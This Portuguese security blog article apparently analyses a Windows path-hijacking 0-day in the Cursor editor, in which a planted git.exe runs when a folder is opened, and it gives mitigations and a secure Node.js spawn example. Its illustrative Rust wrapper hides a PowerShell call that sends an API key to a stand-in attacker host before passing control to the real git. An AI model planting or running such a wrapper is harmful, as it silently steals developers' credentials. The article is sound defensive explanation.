Por dentro do Cursor 0-Day: Execução de Código Remoto via Sequestro de Caminho do Git

💡 TL;DR (Muito Longo; Não Li)

Principais conclusões em 90 segundos:

Ameaça ao workspace local: Uma vulnerabilidade crítica de 0-day ainda não corrigida no editor Cursor para Windows permite a execução de código remoto ao abrir um repositório de projeto.

Sequestro da ordem de busca: O Windows vasculha o diretório de trabalho atual em busca de executáveis antes de verificar o path do sistema. Abrir uma pasta que contém um git.exe malicioso dispara a execução silenciosa.

Automatização explorada: O Cursor executa comandos auxiliares do Git automaticamente (como git status ou git diff) para inicializar seu painel de controle de versão integrado, rodando o payload sem verificação do usuário.

Segurança no POSIX: Sistemas macOS e Linux estão seguros por padrão porque suas regras de resolução de caminhos não verificam o diretório atual de trabalho, a menos que sejam explicitamente configurados para isso.

Mitigações imediatas: Ative o Workspace Trust nas preferências do editor, restrinja permissões de diretórios ou defina caminhos absolutos para ferramentas de desenvolvimento.

A ascensão de editores de código focados em IA otimizou o ciclo de vida do desenvolvimento, permitindo que equipes programem, revisem e publiquem aplicações em velocidades inéditas. Contudo, essa hiper-automação introduz riscos de segurança específicos ao aproximar o limite de execução das máquinas locais dos desenvolvedores. Em 15 de julho de 2026, pesquisadores divulgaram publicamente uma vulnerabilidade 0-day não corrigida na versão para Windows do editor Cursor que possibilita a Execução de Código Remoto (RCE) silenciosa. Ao simplesmente abrir um diretório que contenha um arquivo git.exe malicioso, desenvolvedores expõem seus ambientes ao roubo de credenciais, manipulação de bases de código e infiltração secundária na cadeia de suprimentos.

Essa vulnerabilidade evidencia uma interseção crítica entre comportamentos legados de sistemas operacionais e ferramentas modernas de desenvolvimento. Enquanto os fluxos de trabalho tradicionais de segurança se concentram intensamente na análise de dependências, pacotes e requisições de rede, este ataque visa o limite de confiança do workspace local. Como os editores integrados com IA realizam varreduras profundas e executam processos em segundo plano imediatamente após a inicialização do workspace, abrir uma pasta não confiável deixou de ser uma operação de baixo risco.

A Causa Raiz: Ordem de Busca de Comandos do Windows

A vulnerabilidade do Cursor não decorre de uma falha nos modelos de inteligência artificial do editor. Em vez disso, trata-se de um problema arquitetural decorrente da forma como o runtime subjacente do Electron e do Node.js interage com as APIs de criação de processos do Windows.

No Windows, quando uma aplicação tenta executar um utilitário de linha de comando externo (como git, npm ou docker) sem fornecer um caminho absoluto totalmente qualificado, o sistema precisa resolver onde o executável reside. O Node.js resolve a criação de processos utilizando a função Win32 CreateProcess nos bastidores. A sequência de busca utilizada por esta API segue um padrão histórico estabelecido para manter a compatibilidade com versões anteriores:

O diretório a partir do qual a aplicação foi carregada (a pasta de instalação do Cursor).
O diretório atual do processo pai (a pasta raiz do workspace aberto).
O diretório de sistema de 32 bits do Windows (geralmente C:\Windows\System32).
O diretório de sistema de 16 bits do Windows.
O diretório Windows.
Os diretórios listados nas variáveis de ambiente PATH do sistema e do usuário.

Como o diretório de trabalho atual é vasculhado em segundo lugar, ele tem prioridade sobre a pasta oficial do sistema e qualquer caminho especificado na variável PATH do usuário. Se um workspace contiver um executável chamado git.exe, o sistema operacional selecionará e executará esse arquivo local em vez do binário oficial do Git instalado no computador do desenvolvedor.

Verified SourceDocumentação da Microsoft sobre o Win32 CreateProcess

A ordem de busca dinâmica para processos de aplicações do Windows prioriza o diretório de trabalho atual da aplicação que executa o comando antes de percorrer o diretório do sistema e as variáveis de ambiente.

Anatomia do Ataque de Sequestro

Quando um desenvolvedor abre um repositório de projeto, o Cursor inicializa imediatamente as integrações do seu workspace. Esse processo ocorre em segundo plano, sem exigir comandos explícitos ou aprovação do usuário.

Para exibir os indicadores de controle de versão ativos, o editor consulta automaticamente o status do repositório invocando comandos auxiliares, incluindo:

git status (para verificar arquivos modificados ou não rastreados)
git diff (para identificar blocks de alterações nos arquivos ativos)
git log (para recuperar históricos de commits para sugestões contextuais)

Se um invasor incluir um binário git.exe personalizado na raiz de um repositório e convencer um desenvolvedor a abrir a pasta em uma máquina Windows, o fluxo de execução é ativado imediatamente. O git.exe malicioso executa códigos arbitrários, como a leitura de arquivos locais de ambiente ou a instalação de keyloggers, e depois repassa os argumentos originais do Git para o binário oficial do sistema, mascarando a invasão. O desenvolvedor visualiza os indicadores normais do Git, sem perceber que seu computador foi comprometido.

Para isso, um wrapper malicioso típico escrito em Rust ou Go pode realizar a execução silenciosa em uma thread secundária antes de redirecionar a execução para o Git legítimo:

rust

// Uma implementação fictícia de um wrapper git.exe malicioso
use std::process::Command;
use std::env;
use std::thread;

fn main() {
    let args: Vec<String> = env::args().collect();
    
    // Dispara o payload malicioso em uma thread em segundo plano para não bloquear a UI
    thread::spawn(|| {
        let _ = Command::new("powershell")
            .args(&["-WindowStyle", "Hidden", "-Command", "Invoke-WebRequest -Uri http://attacker.local/leak?key=$env:API_KEY"])
            .output();
    });

    // Encaminha os argumentos originais para o executável git real no System32/PATH
    let real_git_path = "C:\\Program Files\\Git\\cmd\\git.exe"; 
    let mut child = Command::new(real_git_path)
        .args(&args[1..])
        .spawn()
        .expect("Falha ao encaminhar comando git");
        
    let _ = child.wait();
}

Esse vetor de ataque assemelha-se à injeção de prompt Ghostcommit e ao comprometimento do NPM Jscrambler, que atacam ambientes locais de desenvolvimento explorando premissas de segurança do workspace. Ao infiltrar executáveis em pastas que os programadores consideram seguras para navegação, os invasores contornam controles de esteiras de nuvem.

Verified SourceAviso de Segurança Mindgard

Os pesquisadores da Mindgard confirmaram que versões não corrigidas do editor Cursor para Windows executam automaticamente o binário git do workspace local ao abrir a pasta, possibilitando execução silenciosa e sem interação do usuário.

Segurança no POSIX: Por que macOS e Linux Estão Protegidos

Desenvolvedores que utilizam macOS ou Linux não são afetados por essa vulnerabilidade sob condições normais. Sistemas compatíveis com o padrão POSIX utilizam um algoritmo de busca de caminho estrito que avalia apenas as pastas definidas na variável de ambiente PATH, de forma sequencial.

No macOS e Linux, o diretório atual (representado por .) nunca é verificado, exceto se configurado explicitamente no PATH do sistema. Esse isolamento impede que um executável local sequestre comandos do sistema. Se o Cursor solicitar a execução do git, o sistema operacional buscará apenas em /usr/local/bin, /usr/bin e /bin. O diretório local do projeto é ignorado, garantindo o acionamento seguro do binário confiável.

Simulador Interativo de Busca de Caminho

Para compreender como essa vulnerabilidade funciona em diferentes sistemas operacionais e testar políticas de defesa, utilize o simulador interativo abaixo. Você pode alternar o sistema operacional de destino, inserir o binário malicioso no workspace e iniciar a execução para visualizar a lógica de busca de caminhos.

Cursor Windows 0-day RCE Simulator

Visualize how path search order vulnerability in Windows triggers remote code execution when opening malicious codebases.

Target Operating System

Workspace Threat Configuration

Malicious git.exe in Workspace Root

Security Policy

Search Path Resolution Sequence

System Idle

Ready to simulate command execution pathing.

1Cursor App Installation Folder

2Workspace root folder (Current Directory)

3Windows System32 Folder

4PATH Environment Variable Directories

Mitigações Práticas para Equipes de Desenvolvimento

A proteção de ambientes de desenvolvimento contra o sequestro de caminhos exige uma abordagem de segurança em camadas, cobrindo tanto configurações do sistema operacional quanto preferências dos editores de código.

1. Imponha o Uso do Workspace Trust

A proteção mais imediata é ativar o Workspace Trust nas configurações do seu editor. Quando o Workspace Trust está ativo, o Cursor exige confirmação explícita do desenvolvedor antes de iniciar processos auxiliares, executar scripts locais ou carregar extensões. Nunca marque como confiáveis pastas clonadas de repositórios públicos, clientes externos ou colaboradores desconhecidos.

2. Restrinja Execuções via AppLocker ou Políticas de Restrição de Software

Administradores de segurança de TI podem configurar o Windows AppLocker ou as Políticas de Restrição de Software para impedir a execução de arquivos originados de pastas típicas de projetos de desenvolvimento (como C:\Users\NomeUsuario\Source\). Configure regras que permitam a execução de binários somente se residirem em diretórios do sistema protegidos contra escrita (como C:\Program Files\ ou C:\Windows\).

3. Fortaleça Configurações de Ferramentas para Criadores de Aplicações

Se você constrói ferramentas de desenvolvimento, proxies de segurança ou assistentes de IA, evite invocar utilitários usando chamadas brutas como spawn("git"). Em vez disso, resolva o caminho absoluto para o binário do sistema via código, verificando locais de instalação conhecidos ou varrendo variáveis de ambiente diretamente, evitando o comportamento de busca padrão do sistema operacional.

Aqui está um exemplo de invocação segura de processos em Node.js, forçando a resolução de caminhos confiáveis do sistema e desconsiderando a pasta atual do workspace:

typescript

import { spawn } from 'child_process';
import * as path from 'path';
import * as fs from 'fs';

// Resolve com segurança o caminho absoluto do executável do Git no Windows
function getSecureGitPath(): string {
  if (process.platform !== 'win32') {
    return 'git'; // Seguro por padrão no POSIX
  }

  // Define diretórios de instalação confiáveis
  const trustedPaths = [
    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Git', 'cmd', 'git.exe'),
    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Git', 'cmd', 'git.exe'),
    path.join(process.env.SystemRoot || 'C:\\Windows', 'System32', 'git.exe')
  ];

  for (const gitPath of trustedPaths) {
    if (fs.existsSync(gitPath)) {
      return gitPath; // Retorna o caminho absoluto do binário confiável
    }
  }

  throw new Error('Instalação confiável do Git não encontrada. Abortando execução.');
}

// Executa o git status de forma segura
function runGitStatusSecurely(workspaceDir: string) {
  const securePath = getSecureGitPath();
  
  return spawn(securePath, ['status'], {
    cwd: workspaceDir,
    env: { 
      ...process.env,
      // Garante que o PATH não inclua "." ou diretórios locais do workspace no início
      PATH: process.env.PATH?.split(path.delimiter)
        .filter(p => p !== '.' && p !== '' && !p.startsWith(workspaceDir))
        .join(path.delimiter)
    }
  });
}

Esse cenário reflete uma tendência ampla: à medida que os ambientes de desenvolvimento se tornam mais integrados e automatizados, eles passam a ser alvos altamente atraentes para ataques na cadeia de suprimentos. Garantir a integridade dessas esteiras requer o mesmo nível de isolamento e validação que aplicamos a sistemas de produção, conforme detalhado nas práticas de endurecimento do Model Context Protocol e em nossa análise sobre como o MCP é o novo NPM.

FONTES EXTERNAS

Documentação da Microsoft sobre o Win32 CreateProcess - Documentação oficial sobre a ordem de busca de APIs.
Aviso de Segurança Mindgard - Detalhes primários da divulgação da vulnerabilidade do Cursor.
The Hacker News Report - Análise do impacto da vulnerabilidade em computadores Windows.

Leitura Relacionada no gsstk

Inside Ghostcommit: How Malicious PNGs Bypass AI Code Reviewers - Análise técnica sobre injeção visual de prompts em imagens.
O Sequestro do Workspace de IA: Anatomia do Ataque à Cadeia de Suprimentos NPM Jscrambler - Proteção do ambiente local contra dependências npm comprometidas.
Endurecimento do Model Context Protocol - Melhores práticas para isolamento de runtimes em agentes.
MCP é o novo NPM: Por que o Model Context Protocol se tornou a superfície de ataque de 2026 - Análise dos riscos de segurança em diretórios locais de ferramentas.

Proteger os workspaces dos desenvolvedores exige mitigar a distância entre comportamentos legados do SO e ferramentas automáticas de IA.